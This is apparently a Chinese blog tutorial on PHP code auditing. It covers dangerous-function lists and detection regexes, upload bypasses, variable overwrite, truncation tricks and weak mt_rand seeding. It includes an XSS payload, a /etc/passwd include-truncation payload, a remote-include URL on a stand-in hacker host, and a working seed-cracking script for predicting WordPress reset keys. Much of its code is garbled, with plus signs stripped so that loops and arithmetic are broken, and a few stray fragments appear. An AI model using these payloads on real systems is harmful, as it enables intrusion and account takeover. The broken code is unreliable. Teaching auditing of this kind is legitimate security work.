前言
学习记录代码审计的一些思路
一、基础代码审计
1、代码审计思路
首先要知道,程序的根本是什么
- 函数
- 变量
我们代码审计就怼这两个东西,要让其变成可利用的漏洞,关键在于
- 可控变量
- 变量到达有利用价值的函数(危险函数)
一般来说,漏洞的利用效果取决于最终函数的功能
一般拿到一个cms后的操作:
- 如果是之前没有审计过的,就先通读一遍代码,再通过写思维导图(就是写目录注释),看目录和对应功能的文件给一一列举一下出来(就是写代码注释),摸清楚大体的框架
- 如果是之前就审计过的,直接上工具走一遍危险函数
一些工具:
- rips:https://sourceforge.net/projects/rips-scanner/files/latest/download或https://github.com/ripsscanner/rips
- cobra:https://github.com/WhaleShark-Team/cobra
- seay:https://github.com/f1tz/cnseay
接下来就是审计了,有两条线:
- 按照具体功能审计
- 按照漏洞类型审计
(1)按照具体功能审计
就是对应我们通读代码的时候标志好的
比如说,upload对应的是上传功能,那我们首选就应该开工找上传
比如有函数名 move_uploaded_file()
,接着看调用这个函数的代码是否存在为限制上传格式或者可以绕过
- 未过滤或本地过滤:服务器端未过滤,直接上传PHP格式的文件即可利用
- 黑名单扩展名过滤:
限制不够全面:IIS默认支持解析
.asp
,.cdx
,.asa
,.cer
等。 扩展名可绕过:不被允许的文件格式.php
,但是我们可以上传文件名为1.php
(注意后面有一个空格) - 文件头 content-type验证绕过:
getimagesize()
函数:验证文件头只要为GIF89a
,就会返回真 限制$_FILES["file"]["type"]
的值 就是人为限制content-type为可控变量 - 防范:
使用
in_array()
或 利用三等于===
对比扩展名 保存上传文件是重命名,规则采用时间戳拼接随机数:md5(time() rand(1,1000))
(2)按照漏洞类型审计
这个很好理解,命令执行,代码执行,sql注入,文件操作(包含上传读取下载等),变量覆盖,xss
- PHP 执行系统命令可以使用的函数:
system
、exec
、passthru
、“
、shell_exec
、popen
、proc_open
、pcntl_exec
- PHP 可能出现代码执行的函数:
eval
、preg_replace /e
、assert
、call_user_func
、call_user_func_array
、create_function
- SQL 注入一般会查找 SQL 语句关键字:
insert
、delete
、update
、select
- PHP 可能出现文件包含的函数:
include
、include_once
、require
、require_once
、show_source
、highlight_file
、readfile
、file_get_contents
、fopen
、nt>file
- PHP 变量覆盖会出现在下面几种情况:遍历初始化变量:foreach(_GET as key => value);key = value;函数覆盖变量:parse_str、mb_parse_str、import_request_variablesRegister_globals=ON 时,GET 方式提交变量会直接覆盖
- PHP 文件读取:
copy
、rmdir
、unlink
、delete
、fwrite
、chmod
、fgetc
、fgetcsv
、fgets
、fgetss
、file
、file_get_contents
、fread
、readfile
、ftruncate
、file_put_contents
、fputcsv
、fputs
- PHP 文件上传:
move_uploaded_file()
接着看调用这个函数的代码是否存在为限制上传格式或者可以绕过
通常是上手一个好用的审计工具,然后写正则,由高危函数回溯到Model层再到Control层,最终定位漏洞的触发位置
- 双
$$
变量覆盖
(?:extract|parse_str)s{0,5}(.{0,50}$
$$
${{0,1}$w{1,20}(([["']|[)${0,1}[w[]"']{0,30}){0,1}s{0,4}=s{0,4}.{0,20}$w{1,20}(([["']|[)${0,1}[w[]"']{0,30}){0,1}
- array_map代码执行
barray_maps{0,4}(s{0,4}.{0,20}$w{1,20}(([["']|[)${0,1}[w[]"']{0,30}){0,1}s{0,4}.{0,20},
(?:beval(|assert(|call_user_func(|call_user_func_array(|create_function(|preg_replace(s{0,5}.*/[is]{0,2}e[is]{0,2}["']s{0,5},(.*$.*,|.*,.*$))
- 命令执行
(?:bexec(|passthru(|bsystem(|bpopen(|proc_open(|proc_close(|shell_exec(|pcntl_exec(|escapeshellcmd().{0,50}$
2、快速审计
(1)补丁对比
常见对比工具:
- 系统命令:fc、diff等
- 专业工具:Beyond Compare、UltraCompare等
常见的安全补丁方式:
- 变量初始化:str=‘’;、arr=array();等
- 变量过滤:
intval/int()
、addslashes()
、正则等
对比的版本选择:
- 相临近的版本
常用的办法:
1.对常见的中间件的公布漏洞网站的页面进行监控,能够快速知道和了解这个漏洞,比如说
- http://tomcat.apache.org/security-8.html
- http://tomcat.apache.org/security-7.html
- http://tomcat.apache.org/security-6.html
这种网站的页面,用爬虫监控起来,如果更新,比如说security-8.html是目前最新的,当出现security-9.html存活的时候/状态码200的时候,就触发一个事件(给你发短信之类的),然后就能速度响应了。
也通用于CMS,比如说wordpress,就是换个网站而已。 https://core.trac.wordpress.org/query?status=closed&milestone=4.7.3&group=component&col=id&col=summary&col=component&col=status&col=owner&col=type&col=priority&col=keywords&order=priority 这个status 和milestone.
2.下载版本:可以一直保存所有版本,也是和上面一样,监控就行。比如说wordpress,监控https://wordpress.org/download/就行了,留个硬盘,专门保存所有历史版本。
- 中间件:Apache&Apache tomcat 、Nginx 、redis 、Weblogic 、Jboss 、JOnAS 、WebSphere 等等
- CMS: 国外:wordpress 、joomla 、 drupal 等等 国内:dedecms 帝国cms 思途cms discuz CMS ECShop phpcms 等等
3.补丁对比
首先我们要确定一点,就是这个版本更新是属于安全更新,而不是功能更新 检索这些敏感的关键词,定位到函数或者xx.php,再用审计工具跟进这个函数(静态分析) 如果单论跟进的话,就用seay的工具
(2)逻辑漏洞业务型漏洞
逻辑漏洞或者说业务漏洞大概有以下这些:
- 身份认证安全:暴力破解、cookie&session、加密测试
- 业务一致性安全:手机号篡改、邮箱篡改、订单ID篡改、用户ID篡改、商务编号篡改
- 业务数据篡改:金融数据篡改、商品数据篡改、本地js参数篡改、最大数限制突破
- 密码找回漏洞
- 验证码安全
- 业务授权安全
- 业务流程乱序
- 业务接口调用:恶意注册、内容编辑、短信轰炸
- 时效绕过
可简单参考:浅谈逻辑漏洞
几个例子:
1、某些函数的错误,如:empty()
、isset()
、strpos()
、rename()
等
if($operateId == 1){
$date = date("Ymd");
$dest = $CONFIG->basePath."data/files/".$date."/";
$COMMON->createDir($dest);
//if (!is_dir($dest)) mkdir($dest, 0777);
$nameExt = strtolower($COMMON->getFileExtName($_FILES['Filedata']['name']));
$allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');
if(!in_array($nameExt, $allowedType)){
$msg = 0;
} //这里的安全检查把msg赋值为0,直接就可以进入下面的if分支了
if(empty($msg)){
$filename = getmicrotime().'.'.$nameExt;
$file_url = urlencode($CONFIG->baseUrl.'data/files/'.$date."/".$filename);
$filename = $dest.$filename;
if(empty($_FILES['Filedata']['error'])){
move_uploaded_file($_FILES['Filedata']['tmp_name'],$filename);
}
if (file_exists($filename)){
//$msg = 1;
$msg = $file_url;
@chmod($filename, 0444);
}else{
$msg = 0;
}
}
$outMsg = "fileUrl=".$msg;
$_SESSION["eoutmsg"] = $outMsg;
exit;
}
2、条件竞争
- 程序猿逻辑:利用copy函数,将realfile生成shell.php-→删除掉shell.php
- 黑客逻辑:copy成temp.php–>不断访问temp.php->temp.php生成shell.php->删除temp.php
if($_POST['realfile']){
copy($_POST['realfile'],$_POST['path']);
}
$file = mb_convert_encoding($_POST[file],"GBK","UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename="$file"");
readfile($_POST[path]);
if($_POST['realfile']){
unlink($_POST["path"]);
}
(3)Fuzzing
Fuzzing技术是一种基于缺陷注入的自动软件测试技术,它利用黑盒分析技术方法,使用大量半有效的数据作为应用程序的输入,以程序是否出现异常为标志,来发现应用程序中可能存在的安全漏洞。半有效数据是指被测目标程序的必要标识部分和大部分数据是有效的,有意构造的数据部分是无效的,应用程序在处理该数据时就有可能发生错误,可能导致应用程序的崩溃或者触发相应的安全漏洞。
根据分析目标的特点,Fuzzing可以分为三类:
- 动态Web页面Fuzzing,针对ASP、PHP、Java、Perl等编写的网页程序,也包括使用这类技术构建的B/S架构应用程序,典型应用软件为HTTP Fuzz;
- 文件格式Fuzzing,针对各种文档格式,典型应用软件为PDF Fuzz;
- 协议Fuzzing,针对网络协议,典型应用软件为针对微软RPC(远程过程调用)的Fuzz。
Fuzzer软件输入的构造方法与黑盒测试软件的构造相似,边界值、字符串、文件头、文件尾的附加字符串等均可以作为基本的构造条件。Fuzzer软件可以用于检测多种安全漏洞,包括缓冲区溢出漏洞、整型溢出漏洞、格式化字符串和特殊字符漏洞、竞争条件和死锁漏洞、SQL注入、跨站脚本、RPC漏洞攻击、文件系统攻击、信息泄露等
一些工具:
- Browser Fuzzer 3 (bf3)
- MantraPortable
- Webshag
- Wfuzz
- WVS
- LAN Guard
- SQLmap
二、高级代码审计
1、变量本身的key
说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。
代码语言:javascript复制<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."n";
}
?>
上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:
代码语言:javascript复制key.php?<script>alert(1);</script>=1&bbb=2
那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询呢?
2、变量覆盖
很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:
(1)遍历初始化变量
请看如下代码:
代码语言:javascript复制<?php
//var.php?a=fuck
$a='hi';
foreach($_GET as $key => $value) {
$$key = $value;
}
print $a;
?>
很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分的代码:
代码语言:javascript复制$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = $chs->Convert($value);
}
unset($chs);
漏洞审计策略
- PHP版本要求:无
- 系统要求:无
- 审计策略:通读代码
(2)parse_str()
变量覆盖漏洞
代码语言:javascript复制//var.php?var=new
$var = 'init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER['QUERY_STRING']
来提取变量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:
//var.php?var=1&a[1]=var1=222
$var1 = 'init';
parse_str($a[$_GET['var']]);
print $var1;
上面的代码通过提交var来实现对var1的覆盖。
漏洞审计策略(parse_str)
- PHP版本要求:无
- 系统要求:无
- 审计策略:查找字符parse_str
漏洞审计策略(mb_parse_str)
- PHP版本要求:php4<4.4.7 php5<5.2.2
- 系统要求:无
- 审计策略:查找字符mb_parse_str
(3)import_request_variables()
变量覆盖漏洞
代码语言:javascript复制//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
漏洞审计策略(import_request_variables)
- PHP版本要求:php4<4.4.1 php5<5.2.2
- 系统要求:无
- 审计策略:查找字符import_request_variables
(4)PHP5 Globals
从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:
代码语言:javascript复制<?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar;
?>
但是很多的程序没有考虑到这点,请看如下代码:
代码语言:javascript复制//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行crsf攻击。
漏洞审计策略
- PHP版本要求:无
- 系统要求:无
- 审计策略:通读代码
3、magic_quotes_gpc与代码安全
当打开时,所有的 '(单引号),"(双引号),(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()
、mysql_escape_string()
、mysql_real_escape_string()
等,另外还有parse_str()
后的变量也受magic_quotes_gpc
的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
(1)哪些地方没有魔术引号的保护
1、$_SERVER
变量
PHP5的$_SERVER
变量缺少magic_quotes_gpc
的保护,导致近年来X-Forwarded-For的漏洞猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?
漏洞审计策略($_SERVER变量)
- PHP版本要求:5
- 系统要求:无
- 审计策略:查找字符_SERVER
2、 getenv()
得到的变量(使用类似$_SERVER
变量)
漏洞审计策略(getenv())
- PHP版本要求:无
- 系统要求:无
- 审计策略:查找字符getenv
3、$HTTP_RAW_POST_DATA与PHP输入、输出流
主要应用于soap/xmlrpc/webpublish功能里,请看如下代码:
代码语言:javascript复制if ( !isset( $HTTP_RAW_POST_DATA ) ) {
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
漏洞审计策略(数据流)
- PHP版本要求:无
- 系统要求:无
- 审计策略:查找字符HTTP_RAW_POST_DATA或者php://input
4、数据库操作容易忘记'
的地方如:in()/limit/order by/group by
如Discuz!<5.0的pm.php:
代码语言:javascript复制if(is_array($msgtobuddys)) {
$msgto = array_merge($msgtobuddys, array($msgtoid));
......
foreach($msgto as $uid) {
$uids .= $comma.$uid;
$comma = ',';
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
LEFT JOIN {$tablepre}memberfields mf USING(uid)
WHERE m.uid IN ($uids)");
漏洞审计策略
- PHP版本要求:无
- 系统要求:无
- 审计策略:查找数据库操作字符(select,update,insert等等)
(2)变量的编码与解码
一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。
这个类型的主要函数有:
1、stripslashes()
这个其实就是一个decode-addslashes()
2、其他字符串转换函数:
3、字符集函数(GKB,UTF7/8…)如iconv()/mb_convert_encoding()等
目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:
代码语言:javascript复制$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
当magic_quotes_gpc=on
时,我们提交?id=%27
,得到sql语句为:
SELECT * FROM article WHERE articleid='''
漏洞审计策略
- PHP版本要求:无
- 系统要求:无
- 审计策略:查找对应的编码函数
(3)二次攻击
1、数据库出来的变量没有进行过滤
2、数据库的转义符号
4、代码注射
(1)PHP中可能导致代码注射的函数
很多人都知道eval
、preg_replace /e
可以执行代码,但是不知道php还有很多的函数可以执行代码如:
assert()
call_user_func()
call_user_func_array()
create_function()
- 变量函数
几个关于create_function()代码执行漏洞的代码:
代码语言:javascript复制<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
';
usort($databases, create_function('$a, $b', $sort_function));
漏洞审计策略
- PHP版本要求:无
- 系统要求:无
- 审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)
(2)变量函数与双引号
对于单引号和双引号的区别,很多程序员深有体会,示例代码:
代码语言:javascript复制echo "$an";
echo '$an';
我们再看如下代码:
代码语言:javascript复制//how to exp this code
if($globals['bbc_email']){
$text = preg_replace(
array("/[email=(.*?)](.*?)[/email]/ies",
"/[email](.*?)[/email]/ies"),
array('check_email("$1", "$2")',
'check_email("$1", "$1")'), $text);
另外很多的应用程序都把变量用""
存放在缓存文件或者config或者data文件里,这样很容易被人注射变量函数。
漏洞审计策略
- PHP版本要求:无
- 系统要求:无
- 审计策略:通读代码
5、PHP自身函数漏洞及缺陷
(1)PHP函数的溢出漏洞
比较有名的要算是unserialize()
,代码如下:
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。
漏洞审计策略
- PHP版本要求:对应fix的版本
- 系统要求:五
- 审计策略:查找对应函数名
(2)PHP函数的其他漏洞
Stefan Esser大牛发现的漏洞:unset()–Zend_Hash_Del_Key_Or_Index Vulnerability
比如phpwind早期的serarch.php里的代码:
代码语言:javascript复制unset($uids);
......
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db->fetch_array($query)){
$uids .= $member['uid'].',';
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
漏洞审计策略
- PHP版本要求:php4<4.3 php5<5.14
- 系统要求:无
- 审计策略:查找unset
(3)session_destroy()
删除文件漏洞
测试PHP版本:5.1.2
session_destroy()
函数的功能是删除session文件,很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下:
<?php
//val.php
session_save_path('./');
session_start();
if($_GET['del']) {
session_unset();
session_destroy();
}else{
$_SESSION['hei']=1;
echo(session_id());
print_r($_SESSION);
}
?>
当我们提交构造cookie:PHPSESSID=/../1.php
,相当于unlink('sess_/../1.php')
这样就通过注射../
转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,sablog,phpwind3等等。
漏洞审计策略
- PHP版本要求:具体不详
- 系统要求:无
- 审计策略:查找session_destroy
(4)随机函数
1、 rand()
VS mt_rand()
<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>
可以看出rand()
最大的随机数是32767,这个很容易被我们暴力破解。
<?php
$a= md5(rand());
for($i=0;$i<=32767;$i ){
if(md5($i) ==$a ) {
print $i."-->ok!!<br>";exit;
}else { print $i."<br>";}
}
?>
当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于mt_rand是很难单纯的暴力的。
漏洞审计策略
- PHP版本要求:无
- 系统要求:无
- 审计策略:查找rand
2、mt_srand()/srand()-weak seeding(by Stefan Esser)
看php手册里的描述:
代码语言:javascript复制mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)
mt_srand -- 播下一个更好的随机数发生器种子
说明
void mt_srand ( int seed )
用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。
mt_srand() 范例
代码语言:javascript复制<?php
// seed with microseconds
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>
注: 自 PHP 4.2.0 起不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。
php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:
代码语言:javascript复制mt_srand ((double) microtime() * 1000000)
但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:
代码语言:javascript复制0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000
那么很容易暴力破解,测试代码如下:
代码语言:javascript复制<?php
/
//>php rand.php
//828682
//828682
ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."n";
mt_srand ($time);
$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed ){
mt_srand($seed);
$key = mt_rand();
if($key==$rand_num) return $seed;
}
return false;
}
?>
代码语言:javascript复制从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来说同一个进程里的seed是相同的。然后同一个seed每次mt_rand的值都是特定的。如下图:
对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。
对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:
- ‘Cross Application Attacks’,这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb wordpree组合就存在这样的危险.
- 5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:
The Implementation When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.
在32位系统上默认的播种的种子为最大值是232,这样我们循环最多232次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录3),测试代码如下:
代码语言:javascript复制<?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."n".$b;
?>
代码语言:javascript复制通过上面的代码发现
a = = a== a==b在这里插入代码片,所以我们循环的次数为232/2=231次。我们看如下代码:
代码语言:javascript复制<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0
define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1
$key = wp_generate_password(20, false);
echo $key."n";
$seed = getseed($key);
print $seed."n";
mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."n";
function wp_generate_password($length = 12, $special_chars = true) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ( $special_chars )
$chars .= '!@#$%^&*()';
$password = '';
for ( $i = 0; $i < $length; $i )
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
return $password;
}
function getseed($resetkey) {
$max = pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x ) {
$seed = BUGGY ? ($x << 1) 1 : $x;
mt_srand($seed);
$testkey = wp_generate_password(20,false);
if($testkey==$resetkey) { echo "on"; return $seed; }
if(!($x % 10000)) echo $x / 10000;
}
echo "n";
return false;
}
?>
运行结果如下:
代码语言:javascript复制php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr
代码语言:javascript复制当10634次时候我们得到了结果。
当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:
代码语言:javascript复制<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493
?>
代码语言:javascript复制正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。
从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样的后果就是被攻击者恶意利用直接修改密码。
很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)
漏洞审计策略
- PHP版本要求:php4 php5<5.2.6
- 系统要求:无
- 审计策略:查找mt_srand/mt_rand
6、特殊字符
其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子:
(1)include截断
代码语言:javascript复制<?php
include $_GET['action'].".php";
?>
代码语言:javascript复制提交“action=/etc/passwd ”中的“ ”将截断后面的“.php”,但是除了“ ”还有没有其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:
代码语言:javascript复制<?php
var5.php代码:
include $_GET['action'].".php";
print strlen(realpath("./")) strlen($_GET['action']);
///
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i )
{
$str=$str."/";
$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
//1.txt里的代码为print 'hi';
if (strpos($resp, 'hi') !== false){
print $i;
exit;
}
}
?>
代码语言:javascript复制经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和nix的系统长度不一样,当win下strlen(realpath("./")) strlen($_GET['action'])的长度大于256时被截断,对于nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])
(2)数据截断
对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。
1、Mysql SQL Column Truncation Vulnerabilities
这个漏洞又是大牛Stefan Esser发现的,这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。测试如下:
代码语言:javascript复制mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
---- ------------ ----------
| id | username | password |
---- ------------ ----------
| 1 | admin | pass |
| 2 | admin | new_pass |
---- ------------ ----------
2 rows in set (0.00 sec)
代码语言:javascript复制2、 Mysql charset Truncation vulnerability
这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下:
代码语言:javascript复制mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from truncated_test;
---- ------------ ----------
| id | username | password |
---- ------------ ----------
| 1 | admin | pass |
| 2 | admin | new_pass |
| 3 | admin | new_pass2 |
---- ------------ ----------
2 rows in set (0.00 sec)
代码语言:javascript复制很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:
代码语言:javascript复制$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
die("already exist");
}
代码语言:javascript复制漏洞审计策略
- PHP版本要求:无
- 系统要求:无
- 审计策略:通读代码
(3)文件操作里的特殊字符
文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“…”进行系统转跳等等。
下面还给大家介绍一个非常有意思的问题:
代码语言:javascript复制//Is this code vul?
if( eregi(".php",$url) ){
die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);
代码语言:javascript复制很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了个str_replace替换$webdbwww_url为空,那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂fix呢?有人给出了如下代码:
代码语言:javascript复制$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
die("ERR");
}
代码语言:javascript复制str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:
代码语言:javascript复制<?php
for($i=0;$i<255;$i ) {
$url = '1.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."rn";
}
?>
代码语言:javascript复制我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。
漏洞审计策略
- PHP版本要求:无
- 系统要求:无
- 审计策略:文读取件操作函数
结语
主要是学习各位大佬的代码审计思路,后面自己尝试审计
参考
- 高级PHP应用程序漏洞审核技术
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。